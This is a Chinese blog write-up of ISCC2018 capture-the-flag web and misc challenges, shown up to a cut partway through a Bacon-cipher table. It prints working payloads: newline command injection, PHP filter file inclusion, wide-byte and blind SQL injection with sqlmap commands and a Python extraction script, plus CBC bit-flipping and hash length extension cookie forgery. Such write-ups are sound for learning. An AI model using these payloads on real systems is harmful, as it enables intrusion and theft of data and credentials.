C1imber's Blog

ISCC2018 write up

字数统计: 9.2k阅读时长: 40 min
2018/05/25 Share

ISCC2018 write up

简介

参加2018年的ISCC竞赛,将做出的题记录到这里,记录一下思路,沉淀一下

Web方向

比较数字大小

HINT:只要比服务器上的数字大就好了
mark
发现题目只有一个输入框,限制只能输入3个字符,于是firebug查看元素,发现maxlength值为3,将3改为100,随意输入个大数字,flag就出来了
mark
mark
flag:key is 768HKyu678567&*&K

本地的诱惑

HINT:小明扫描了他心爱的小红的电脑,发现开放了一个8013端口,但是当小明去访问的时候却发现只允许从本地访问,可他心爱的小红不敢让这个诡异的小明触碰她的电脑,可小明真的想知道小红电脑的8013端口到底隐藏着什么秘密(key)?(签到题)

该题为web的签到题,打开后发现是这样的
mark
必须从本地访问,于是想到了伪造X-Forwarded-For,后来发现直接访问源代码就能得到flag,果然是签到题啊
mark
flag:ISCC{^&*(UIHKJjkadshf}

你能跨过去吗?

HINT:如果你对xss了解的话,那你一定知道key是什么了,加油!
mark
看到xss便首先尝试在输入框里提交XSSPaylaod,结果发现根本找不到输出点,不管提交多少次都是”加油再试一次”,然后发现页面有一串字符非常像base64编码
ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA%2bAC0
base64解码了一下,发现是XSSpayload,里面有我们要的key
mark
因为key的16进制中有00,代表结束符(截断),所以要将key中的00字符都删掉,才能将key复制下来
mark
key:/%nsfocusXSStest%/

key不是flag,将/%nsfocusXSStest%/提交到页面输入框才能弹出来flag
mark
建议出题人将这题放到杂项会比较合适,有点挂羊头卖狗肉的意思

flag{Hell0World}

一切都是套路

HINT:好像有个文件忘记删了

自己的字典太垃圾,啥也没扫出来,经过一个表哥强大的字典发现扫出了index.php.txt,内容如下
mark

<?php

include "flag.php";

if ($_SERVER["REQUEST_METHOD"] != "POST")
    die("flag is here");

if (!isset($_POST["flag"]) )
    die($_403);

foreach ($_GET as $k => $v){
    $$k = $$v;
}

foreach ($_POST as $k => $v){
    $$k = $v;
}

if ( $_POST["flag"] !== $flag )
    die($_403);

echo "flag: ". $flag . "\n";
die($_200);

?>

进行一波代码审计发现考察的是php变量覆盖,构造payload
http://118.190.152.202:8009/index.php?_200=flag

带上POST参数

flag=
mark
我来讲解一下详细的过程,首先代码要求必须有POST参数,而且POST参数的参数名必须为flag,这样才可以到变量覆盖的那一步,接着提交GET参数_200=flag,php代码遍历$_GET数组执行的便是$_200=$flag,也就是将变量$flag的值复制给$_200,覆盖原先变量$_200的值,此时变量$_200的值为$flag中的值,接着php遍历$_POST数组,我们提交的POST参数为flag=空(任意值),于是将POST的值复制给$flag值,覆盖原先的$flag值,$_POST["flag"]便会和$flag值相等,都为空(任意值),最后输出变量$_200的值,也就是原先$flag中的flag

flag: ISCC{taolu2333333....}

你能绕过吗?

HINT:没过滤好啊
mark
http://118.190.152.202:8008/index.php?f=articles&id=1

一开始以为id参数没过滤好,于是尝试了注入,结果被坑了,原来是f参数没过滤好,存在文件包含,通过文件包含漏洞使用php伪协议读取index.php

payload:http://118.190.152.202:8008/index.php?f=PHP://filter/read=convert.base64-encode/resource=index&id=1
payload中的php要大写,否则会被拦截
mark
得到一串base64,解码得到源码,源码中有flag
mark
flag:ISCC{LFIOOOOOOOOOOOOOO}

web02

mark
要求ip为本机ip,尝试Referer和X-forwarded-For都不行,最后搜索了一番,发现伪造ip还可以用Client-ip

将ip伪造成127.0.0.1即可
mark

flag:ISCC{iscc_059eeb8c0c33eb62}

请ping我的ip 看你能Ping通吗?

HINT:我都过滤了,看你怎么绕。
mark
看到这样一句话:请ping我的IP 看你会ping通吗

尝试

http://118.190.152.202:8018/?ip=118.190.152.202

发现可以执行ping命令
mark
猜测后台php代码应该如下,类似于dvwa中的命令执行

shell_exec( 'ping ' . waf($_GET[ip]) )
尝试在ping命令后执行多条命令,发现&&&|都不行,最后测试发现使用%0A可以绕过,读取flag.txt payload

http://118.190.152.202:8018/?ip=www.baidu.com%0Acat%20flag.txt
mark
读取index.php payload
http://118.190.152.202:8018/?ip=www.baidu.com%0Acat%20index.php
可以看到源码里正如我们之前猜测的那样
mark

请ping我的IP 看你会ping通吗

PING www.a.shifen.com (180.149.132.151) 56(84) bytes of data.
64 bytes from 180.149.132.151: icmp_seq=1 ttl=51 time=23.8 ms

--- www.a.shifen.com ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 23.871/23.871/23.871/0.000 ms
 '',
        ';' => '',
        '|' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );


    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );



    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows

        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 1 ' . $target );
    }


    echo  "

{$cmd}

";


?>

当然这到题也有非常规解法,既然要用命令执行去读取flag.txt,不如直接访问网站根目录下的flag.txt就能得到flag
mark
ISCC{8a8646c7a2fce16b166fbc68ca65f9e4}

Please give me username and password!

mark
题目说Please give me username or password!

那在url后添加GET参数username与password
http://118.190.152.202:8017/?username=&&password=

再查看源代码可以看到html注释里面有个index.php.txt
mark

访问index.php.txt,发现源代码,又是一道代码审计题
mark

<?php
error_reporting(0);
$flag = "***********";    
if(isset($_GET['username'])){
    if (0 == strcasecmp($flag,$_GET['username'])){
    $a = fla;
    echo "very good!Username is right";
    }
    else{
    print 'Username is not right<!--index.php.txt-->';}
}else
print 'Please give me username or password!';
if (isset($_GET['password'])){
    if (is_numeric($_GET['password'])){
        if (strlen($_GET['password']) < 4){
            if ($_GET['password'] > 999){
            $b = g;
            print '<p>very good!Password is right</p>';
        }else 
            print '<p>Password too little</p>';
        }else
        print '<p>Password too long</p>';
    }else
    print '<p>Password is not numeric</p>';
}
if ($a.$b == "flag")
    print $flag;
?>

可以看到只要绕过对username和password的过滤便能得到flag

strcasecmp的绕过可以利用数组,因为php的隐式类型转换的特性,strcasecmp这个函数在比较时会发生隐式类型转换,数组会被转为字符串格式,也就是Array,所以两个字符串不相等,那么该函数就会返回False,又因为将False与0以双等号(不严格的比较)进行比较发生了一次隐私类型转换,所以结果为真,从而绕过,后面要求数字长度小于4且大于999可以用php中的科学计数法绕过,构造payload

http://118.190.152.202:8017/?username[]=&&password=1e9
mark
flag{ISCC2018_Very_GOOD!}

SQL注入的艺术

mark
找到一个可能存在注入的连接
http://118.190.152.202:8015/index.php?id=1

猜测id参数可能存在注入,加单引号和双引号页面均返回正常并不会报错,于是猜测引号可能被转义了,尝试宽字节注入

http://118.190.152.202:8015/index.php?id=1%df'

发现页面返回不正常
mark
and逻辑判断确认存在注入

http://118.190.152.202:8015/index.php?id=1%df' and 1=1%23
mark
http://118.190.152.202:8015/index.php?id=1%df' and 1=2%23
mark
order by 测试出列数为8,union查询确定出注入回显的位置

http://118.190.152.202:8015/index.php?id=-1%df' union select 1,2,3,4,5,6,7,8%23
mark
接下来可以union手工注入,也可以用sqlmap跑,sqlmap跑的时候要使用tamper脚本unmagicquotes.py来绕过单引号转义过滤,为了方便直接上sqlmap,获取flag的命令

sqlmap.py -u "http://118.190.152.202:8015/index.php?id=1'" --dump -C "flag" -T "admins" -D "baji" --tamper="unmagicquotes.py"
mark
flag:Y0u_@@33w_dxxmn_9rf0Od

试试看

HINT:随意开火
mark
这道题一开始就觉得是文件包含,但是使用php协议读文件时发现一直出现File not found,一直不知为何,直到谷歌搜出了类似的一道题才找到思路,这里的思路大概一样,只要绕过正则表达式即可,经过模糊测试,发现

http://118.190.152.202:8006/show.php?img=php://filter/convert.base64-encode/resource=1.jpgresource=../flag.php
可以读到flag.php中的flag
mark
flag{1ntere5ting_PHP_Regu1ar_express1onssssss}
http://118.190.152.202:8006/show.php?img=php://filter/convert.base64-encode/resource=1.jpgresource=show.php
可以读取show.php查看它的过滤
mark

<?php
error_reporting(0);
ini_set('display_errors','Off');

include('config.php');

$img = $_GET['img'];
if(isset($img) && !empty($img))
{
    if(strpos($img,'jpg') !== false)
    {
        if(strpos($img,'resource=') !== false &&preg_match('/resource=.*jpg/i',$img) === 0)
        {
            die('File not found.');
        }

        preg_match('/^php:\/\/filter.*resource=([^|]*)/i',trim($img),$matches);
        if(isset($matches[1]))
        {
            $img = $matches[1];
        }

        header('Content-Type: image/jpeg');
        $data = get_contents($img);
        echo $data;
    }
    else
    {
        die('File not found.');
    }

}
else
{
    ?>
    <img src="1.jpg">
    <?php
}
?>

可以看到源码印证了我们之前的猜想

Only admin can see flag

打开后是一个登陆页面
mark
出于习惯首先查看源代码,结果发现泄露了index.php的源码
mark
查看源代码,可以看出又是一道代码审计题
mark
代码如下

<?php
include 'sqlwaf.php';
define("SECRET_KEY", "................");
define("METHOD", "aes-128-cbc");
session_start();    

function get_random_iv(){
    $iv='';
    for($i=0;$i<16;$i++){
        $iv.=chr(rand(1,255));
    }
    return $iv;
}
function login($info){
    $iv=get_random_iv();
    $plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    $_SESSION['username'] = $info['username'];
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
    if ($_SESSION["username"]==='admin'){
        echo '<p>Hello admin</p>';
        echo '<p>Flag is *************</p>';
    }else{
        echo '<p>hello '.$_SESSION['username'].'</p>';
        echo '<p>Only admin can see flag</p>';
    }
    echo '<p><a href="loginout.php">Log out</a></p>';
    die();
}
function check_login(){
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
        $cipher = base64_decode($_COOKIE['cipher']);
        $iv = base64_decode($_COOKIE["iv"]);
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
            $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
            $_SESSION['username'] = $info['username'];
        }else{
            die("ERROR!");
        }
    }
}    

if (isset($_POST['username'])&&isset($_POST['password'])) {
  $username=waf((string)$_POST['username']);
  $password=waf((string)$_POST['password']);
  if($username === 'admin'){
        exit('<p>You are not real admin!</p>');
    }else{
        $info = array('username'=>$username,'password'=>$password);
        login($info);
        show_homepage();
    }
}
else{
  if(isset($_SESSION["username"])){
        check_login();
        show_homepage();
    }
}
?>
<!DOCTYPE html>
<html lang="en" >
<head>
  <meta charset="UTF-8">
  <title>Paper login form</title>
      <link rel="stylesheet" href="css/style.css">
</head>
<body>
  <div id="login">
  <form action="" method="post">
    <h1>Sign In</h1>
    <input name='username' type="text" placeholder="Username">
    <input name='password' type="password" placeholder="Password">
    <button>Sign in</button>
</div>
</body>
</html>

来看代码的主要执行过程与用户数据流的流向

首先,如果存在有用户POST传递过来的usernamepassword,那就接收用户输入的usernamepassword,将用户输入的内容转换为字符串类型然后带入waf函数进行过滤检查处理(应该是过滤一些危险字符),之后使用===检查username的值是否为admin,如果相等直接输出You are not real admin!到页面并且结束,否则将usernamepassword存入数组然后带入login函数,通过代码可以看出login函数的主要作用,将传入的存有usernamepassword的数组进行序列化处理后再使用php中的openssl_encrypt函数进行aes-128-cbc加密,加密的初始化向量为随机生成的16字节的字符串,之后将传入的用户名传入服务器中session文件(文件名为28r835361idfvf2g5judamo844)中的username变量中,将初始化向量与加密结果进行base64编码后分别存入cookie中的ivcipher中,之后cookie就作为该用户的登陆凭证,简单来说,就是如果用户名不等于admin就登陆成功并且将用户名存入服务器的session变量中,之后setcookie,然后进入用户界面,此处使用show_homepage函数判断,这个函数会判断session中的username是否为admin,如果为admin,那就登陆成功并输出flag,否则就以普通用户登录

如果发现服务器session文件中的username变量已被设置,说明之前有用户登录了,就不使用login函数进行进行登陆检查,而是使用check_login函数进行用户身份检查,通过代码可以看出check_login函数的主要作用,检查cookie中是否设置有cipheriv,如果有,就对cookie中的cipheriv进行base64解码,然后使用php中的openssl_decrypt函数进行aes-128-cbc解密,将解密的结果进行反序列化处理为数组,之后将数组中的username赋值给session中的username,之后进入用户登录界面,再次调用show_homepage

来分析一下整个逻辑过程

简单来说,要求输入的用户名不能为admin才能登陆成功,但是进行用户身份检查时需要$_SESSION中的username必须等于admin才能登陆成功,于是想到了可以首先以一个用户名不是admin的用户登录,设置$_SESSION['username'],之后刷新登陆页面,将会带上生成的cookie进入check_login函数,我们可以修改cookie中的cipher与iv,使其经过aes-128-cbc解密反序列化后将$info['username']的值变为admin即可覆盖第一次登陆后设置的$_SESSION['name'],将其变为admin,此时经过show_homepage后就会是admin并且输出flag

在这里加密解密的密钥是未知的,iv初始化向量是随机生成的,导致我们不能直接利用加密算法生成cookie,于是想到了一种名为CBC翻转字节攻击的方法,该攻击可以在不知道密钥的前提下,通过修改密文中某一处的字节达到修改部分明文的目的,具体过程如下,首先来看AES的CBC模式的加密解密过程,分组长度为16字节

加密
mark
解密
mark
所谓的CBC翻转字节攻击就是通过修改某一分组的密文,去修改其下一分组的明文
mark
比如明文分组如下,以题目举例

a:2:{s:8:"userna
me";s:5:"Admin";
s:8:"password";s
:6:"123456";}

要将Admin修改为admin,只需修改加密后第一个分组中的第10个字节,也就是对应A所在位置的"的密文就可以

首先要以Admin登陆,获取Set-Cookie中的cipher与iv,cipher里面存放着将上面那串字符串加密的密文,iv为随机生成的16位字符串,作为加密解密的初始化向量
mark
mark

iv:pO%2FPPYF9sNQq9oGENmDdFA%3D%3D
cipher:bq1cO9PgjsrNX%2B1iItSFPsyT%2Ftaue76NjOh1oAZOMHsVI74GT7iCFIeGBksNNh%2B7%2FDu5pSgPzuq339vT4EWNfQ%3D%3D

首先修改密文的第一个分组的第十个字节

import urllib
import base64
#a:2:{s:8:"userna
#me";s:5:"Admin";
#s:8:"password";s
#:6:"123456";}
cipher="bq1cO9PgjsrNX%2B1iItSFPsyT%2Ftaue76NjOh1oAZOMHsVI74GT7iCFIeGBksNNh%2B7%2FDu5pSgPzuq339vT4EWNfQ%3D%3D"
cipher=base64.b64decode(urllib.unquote(cipher))
newcipher=cipher[0:9]+chr(ord(cipher[9])^ord('A')^ord('a'))+cipher[10:]
print "cipher:\n%s"%(urllib.quote(base64.b64encode(cipher)))
print "new cipher:\n%s"%(urllib.quote(base64.b64encode(newcipher)))

mark
我来解释一下这段代码

首先需要明白一个前提
异或运算相同为0,不同为1,所以推导出:一个字符和其本身异或结果为0,一个字符和0异或结果为其本身

解密(cipher[9+16])^cipher[9]='A'(这是正常的解密过程)
解密(cipher[9+16])^cipher[9]^'A'^'a'='a'(将A变为a,就要将第一分组中的第十个字节cipher[9]进行cipher[9]^'A'^'a'改变)

此时cipher变为了

bq1cO9PgjsrNf%2B1iItSFPsyT/taue76NjOh1oAZOMHsVI74GT7iCFIeGBksNNh%2B7/Du5pSgPzuq339vT4EWNfQ%3D%3D

刷新登陆后的页面,将cookie中的cipher改为修改后的cipher
mark
mark
将返回base64_decode('sMqpNX2y/F9xcy6m4U9Nsm1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjY6IjEyMzQ1NiI7fQ==') can't unserialize的错误,因为如果修改第一组密文中的某个字节,初始化向量不变也会导致第一组明文解密时发生改变,从而导致解密出的序列化的格式发生改变而导致反序列化失败,所以还要根据这串返回的base64重新生成新的iv,让解密出的第一个分组的明文还原成原先的明文
mark

import urllib
import base64
iv="pO%2FPPYF9sNQq9oGENmDdFA%3D%3D"
iv=base64.b64decode(urllib.unquote(iv))
jiamingwen = base64.b64decode(urllib.unquote('sMqpNX2y/F9xcy6m4U9Nsm1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjY6IjEyMzQ1NiI7fQ=='))
mingwen = 'a:2:{s:8:"userna'
newiv = ''
for i in range(0,16):
    newiv += chr(ord(mingwen[i])^ord(jiamingwen[i])^ord(iv[i])) 
print urllib.quote(base64.b64encode(newiv))

mark
同样的,解释一下这段代码

有个前提
如果c=a^b
那么a=c^b,b=a^c    

因为:
iv^解密(假密文)=假明文
iv^解密(假密文)^假明文=0(假明文^假明文=0)
所以:
iv^解密(假密文)^假明文^明文=明文(0^明文=明文)
又因为需要达到:
newiv^解密(假密文)=明文
所以:
newiv=iv^假明文^明文    

所以新的iv变为

dR9UMoe8drNhp9pRsl3%2Bxw%3D%3D

然后将cookie中的cipher和iv同时改为新生成的即可,这样的话解密后只会将第二组明文的A变为a,而且第一分组解密出的明文并不会发生改变,序列化格式也自然不会改变,这样就可以反序列化成功,然后将$_SESSION['username']重新赋值为解密出的admin明文,然后绕过验证输出flag
mark

flag:ISCC{123dasd89as10aas}

Collide

HINT:那么长的秘钥,要爆破到什么时候啊
mark
又是一到代码审计题

<?php
include "secret.php";
@$username=(string)$_POST['username'];
function enc($text){
    global $key;
    return md5($key.$text);
}
if(enc($username) === $_COOKIE['verify']){
    if(is_numeric(strpos($username, "admin"))){
        die($flag);
    }
    else{
        die("you are not admin");
    }
}
else{
    setcookie("verify", enc("guest"), time()+60*60*24*7);
    setcookie("len", strlen($key), time()+60*60*24*7);
}
show_source(__FILE__);

可以看出这道题是考察hash长度扩展攻击的,对于这种攻击方式原理自己还没有完全搞懂,于是就把做题方法记录一下

首先,需要在linux中安装一个名为HashPump的工具,HashPump是一个借助于OpenSSL实现了针对多种散列函数的攻击的工具,支持针对MD5、CRC32、SHA1、SHA256和SHA512等长度扩展攻击。而MD2、SHA224和SHA384算法不受此攻击的影响,因其部分避免了对状态变量的输出,并不输出全部的状态变量。下面是安装方法

git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install

mark
mark
mark

mark
之后POST提交username为guest,运行hashpump,将burp抓包抓到的cookie中的verify与len输入,然后输入数据和要追加的数据(guest与admin)
mark
之后便会生成新的数据与hash值,分别将username与cookie中的verify改为hashpump新生成的值即可
mark
mark

flag:ISCC{MD5_1s_n0t_5afe}

php是世界上最好的语言

mark
打开后可以看到代码如下

<html>
<body>
<form action="md5.php"  method="post" >
    用户名:<input type="text" name="username"/>
    密码:<input type="password" name ="password"/>
    <input type="submit" >
</body>
</html>
<?php
header("content-type:text/html;charset=utf-8");
if(isset($_POST['username'])&isset($_POST['password'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
}
else{
    $username="hello";
    $password="hello";
}
if(md5($password) == 0){
    echo "xxxxx";
}


show_source(__FILE__);
?>

这里考察php的隐式类型转换,如果用双等号将一个字符串与数字进行比较时,会将字符串类型转为数字类型,所以在这里一般可以利用开头为0的MD5值绕过,以下列举了一些MD5后开头为0的字符串

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

s1502113478a
0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s155964671a
0e342768416822451524974117254469

s1184209335a
0e072485820392773389523109082030

s1665632922a
0e731198061491163073197128363787

s1502113478a
0e861580163291561247404381396064

s1836677006a
0e481036490867661113260034900752

s1091221200a
0e940624217856561557816327384675

s155964671a
0e342768416822451524974117254469

s1502113478a
0e861580163291561247404381396064

s155964671a
0e342768416822451524974117254469

s1665632922a
0e731198061491163073197128363787

s155964671a
0e342768416822451524974117254469

s1091221200a
0e940624217856561557816327384675

s1836677006a
0e481036490867661113260034900752

s1885207154a
0e509367213418206700842008763514

s532378020a
0e220463095855511507588041205815

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s214587387a
0e848240448830537924465865611904

s1502113478a
0e861580163291561247404381396064

s1091221200a
0e940624217856561557816327384675

s1665632922a
0e731198061491163073197128363787

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s1665632922a
0e731198061491163073197128363787

s878926199a
0e545993274517709034328855841020

输入用户名和以上其中一个字符串作为密码
mark
mark
进入第二关,代码如下

NULL <?php
include 'flag.php';
$a = @$_REQUEST['a'];
@eval("var_dump($$a);");
show_source(__FILE__);

?> 

可以看出存在变量覆盖漏洞,利用全局变量’$GLOBALS’覆盖

http://118.190.152.202:8005/no_md5.php?a=GLOBALS

mark

flag:ISCC{a39f9a1ff7eb4bab8a6a21b2ce111b4}

Sqli

题目直接说明这是一道注入,打开后是一个登陆框
mark
测试一下是否存在注入

输入

username=' or 1=1 and 1=1#
password=123456

会直接登陆成功并将我们输入的username:' or 1=1 and 1=1#输出出来
mark
输入

username=' or 1=2 and 1=1#
password=123456

则会显示输入的用户名或密码错误
mark
由此可以判断username参数可能存在注入。大概的登陆验证过程:将输入的username与password拼接成sql查询语句带入数据库查询,如果查到结果便会登陆成功并显示输入的用户名,查询不到结果就会返回用户名或密码错误的提示

可以看出该处是一个很普通的盲注,可以写脚本也可以直接用sqlmap,这里为了尽快拿到一血直接上sqlmap

sqlmap.py -r "C:\Users\I'm possible\Desktop\post.txt" -p username --dump -C "kjafuibafuohnuvwnruniguankacbh" -T "news" -D "sqli_database"

mark

flag{hahaha999999999}

有种你来绕

HINT:我都过滤了,看你怎么绕。记住是mysql

打开后看到是一个登陆框
mark
结合题目提示猜测是去绕WAF注入,首先测试了一下,发现当用户名正确而密码错误时会返回password error,当用户名错误时会返回username error的错误,于是猜测可能存在盲注。

测试了一下,发现大概过滤了以下关键字

#、,、union、--+、and、or、|、%26(&的url编码)

简单来说,就是不能使用and,or等关键字进行逻辑判断去盲注,同样不能使用注释符去注释后面的语句。谷歌了一下相关的资料,发现这种情况可以利用mysql的隐式类型转换去绕过,类似于php的弱类型。所谓的隐式类型转换,简单来说,就是对mysql的字符类型进行一些加、减、取余等数字操作运算时,又或者是将字符类型与数字类型进行比较时,会将字符类型转为数字类型,比如

mysql> select '45abcd'-'abc';
+----------------+
| '45abcd'-'abc' |
+----------------+
|             45 |
+----------------+
1 row in set, 2 warnings (0.02 sec)

mark
在这里将字符串45abcd转为了数字45,将字符串abc转为了数字0
于是可以得出不是以数字开头的字符串在进行隐式类型转换时都会转为数字0
再看

mysql> select 'aaa'=0;
+---------+
| 'aaa'=0 |
+---------+
|       1 |
+---------+
1 row in set, 1 warning (0.00 sec)

mark
在这里将字符串aaa与数字0进行比较时将字符串aaa转为了数字0

再看以下语句

mysql> select * from users where username=0;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+
13 rows in set (0.00 sec)    

mark
可以看到where username=0时会将数据表中所有数据类型查出来,因为username在数据库中的存储类型为varchar类型,也就是字符串类型,在进行比较时会将这些字符串类型全转为数字类型,所以不以数字开头的字符串都会被转成0,从而查询出所有结果

再看

mysql> select * from users where username=''-0-'';
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+
13 rows in set (0.00 sec)    

mark
可以看出当where username=''-0-''时会进行隐式类型转换,运算结果相当于where username=0,会返回所有结果

如果将中间的0变为1,相当于where username=-1,由于数据库里没有以-1开头的字符串,就会返回空

mysql> select * from users where username=''-1-'';
Empty set (0.00 sec)    

mark
由此可以看出我们是可以在中间这个位置进行逻辑判断去盲注的

知道了这些后来返回题目看这道题,构造payload

uname='-0-'&passwd=123456

这里用户名有查询结果,所以会返回password error
mark
构造payload

uname='-1-'&passwd=123456

而这里用户名没有查询结果,所以会返回username error的错误
mark
按照这个思路,可以进行逻辑判断进行盲注,构造payload猜出数据库中passwd字段的长度

uname='-(length(passwd)=passwd的长度)-'&passwd=123456

(length(passwd)=passwd的长度)为真时结果为1,也就是查不出用户名,会返回username error,为假时结果为0,会返回查询结果但是密码错误,也就会返回password error
mark
mark
通过这种方式可以判断出用户表中有一个长度为32字节的passwd字段

同样的可以通过这种方式判断出passwd字段中的值,用python写一个脚本即可,贴出我的代码

import requests
url="http://118.190.152.202:8019/login.php"
passwd=""
for i in range(1,33):
    for j in range(1,256):
        data={
            'uname':"'-(ascii(mid((passwd)from(%d)))=%d)-'"%(i,j),
            'passwd':'admin'
        }
        html=requests.post(url,data=data).content
        if "username error!!" in html:
            passwd=passwd+chr(j)
            print passwd
            break

为了更好的理解脚本,可以看看以下我测试时写的查询语句

mysql> select mid((password)from(1)) from users;
+------------------------+
| mid((password)from(1)) |
+------------------------+
| Dumb                   |
| I-kill-you             |
| p@ssword               |
| crappy                 |
| stupidity              |
| genious                |
| mob!le                 |
| admin                  |
| admin1                 |
| admin2                 |
| admin3                 |
| dumbo                  |
| admin4                 |
+------------------------+
13 rows in set (0.00 sec)    

mysql> select mid((password)from(2)) from users;
+------------------------+
| mid((password)from(2)) |
+------------------------+
| umb                    |
| -kill-you              |
| @ssword                |
| rappy                  |
| tupidity               |
| enious                 |
| ob!le                  |
| dmin                   |
| dmin1                  |
| dmin2                  |
| dmin3                  |
| umbo                   |
| dmin4                  |
+------------------------+
13 rows in set (0.00 sec)    

mysql> select ascii(mid((password)from(1))) from users;
+-------------------------------+
| ascii(mid((password)from(1))) |
+-------------------------------+
|                            68 |
|                            73 |
|                           112 |
|                            99 |
|                           115 |
|                           103 |
|                           109 |
|                            97 |
|                            97 |
|                            97 |
|                            97 |
|                           100 |
|                            97 |
+-------------------------------+
13 rows in set (0.00 sec)    

mysql> select ascii(mid((password)from(2))) from users;
+-------------------------------+
| ascii(mid((password)from(2))) |
+-------------------------------+
|                           117 |
|                            45 |
|                            64 |
|                           114 |
|                           116 |
|                           101 |
|                           111 |
|                           100 |
|                           100 |
|                           100 |
|                           100 |
|                           117 |
|                           100 |
+-------------------------------+
13 rows in set (0.00 sec)    

mysql> select * from users where username='a'-(ascii(mid((password)from(2)))=117)-'b';
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 14 | admin4   | admin4     |
+----+----------+------------+
11 rows in set, 26 warnings (0.00 sec)    

mysql> select * from users where username='a'-(ascii(mid((password)from(2)))=118)-'b';
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+
13 rows in set, 26 warnings (0.00 sec)    

最后跑出密码
mark

0416af0a8accf2be556a8e131438b814

MD5在线解密一下,通过密码可以看出出题人素质并不怎么高
mark

nishishabi1438

用户名admin,密码nishishabi1438,登陆成功
mark
后台并没有flag,看提示应该是命名执行,但是试了好多命令都没有回显,最后偶然输入了flag,结果flag就出来了。。。ctm
mark

flag{sql_iNjEct_Is_Easy} 

Misc方向

What is that?

HINT:Where is the FLAG?
mark
下载下来发现是一个图片,图片中一个手指向下指,图片名为WhatIsThat,于是猜测下面有一部分因为高度的问题没有显示出来,查看图片属性中的分辨率
mark
将500转为16进制
mark
用winhex16进制编辑工具打开,查找500的16进制,修改图片的高度,看看能不能将图片的下面显示出来
mark
mark
mark
可以看到flag已经出现
mark
Flag={_Welcome_To_ISCC_2018_}

秘密电报

HINT:知识就是力量

秘密电报:
知识就是力量 ABAAAABABBABAAAABABAAABAAABAAABAABAAAABAAAABA

混过密码吧的我明显看出是培根密码,该密码有两种密码表,第一次选密码表选错了,直接写python解密

e=("ABAAAABABBABAAAABABAAABAAABAAABAABAAAABAAAABA").lower()
d={
'aaaaa':'A',
'aaaab':'B',
'aaaba':'C',
'aaabb':'D',
'aabaa':'E',
'aabab':'F',
'aabba':'G',
'aabbb':'H',
'abaaa':'I',
'abaab':'J',
'ababa':'K',
'ababb':'L',
'abbaa':'M',
'abbab':'N',
'abbba':'O',
'abbbb':'P',
'baaaa':'Q',
'baaab':'R',
'baaba':'S',
'baabb':'T',
'babaa':'U',
'babab':'V',
'babba':'W',
'babbb':'X',
'bbaaa':'Y',
'bbaab':'Z'
}
for i in range(0,len(e)/5):
    a=e[5*i:5*i+5]
    for j in d.keys():
        if a==j:
            print d[j]
            break
#另一个密码表
#'AAAAA':'a',
#'AAAAB':'b',
#'AAABA':'c',
#'AAABB':'d',
#'AABAA':'e',
#'AABAB':'f',
#'AABBA':'g',
#'AABBB':'h',
#'ABAAA':'i',
#'ABAAA':'j',
#'ABAAB':'k',
#'ABABA':'l',
#'ABABB':'m',
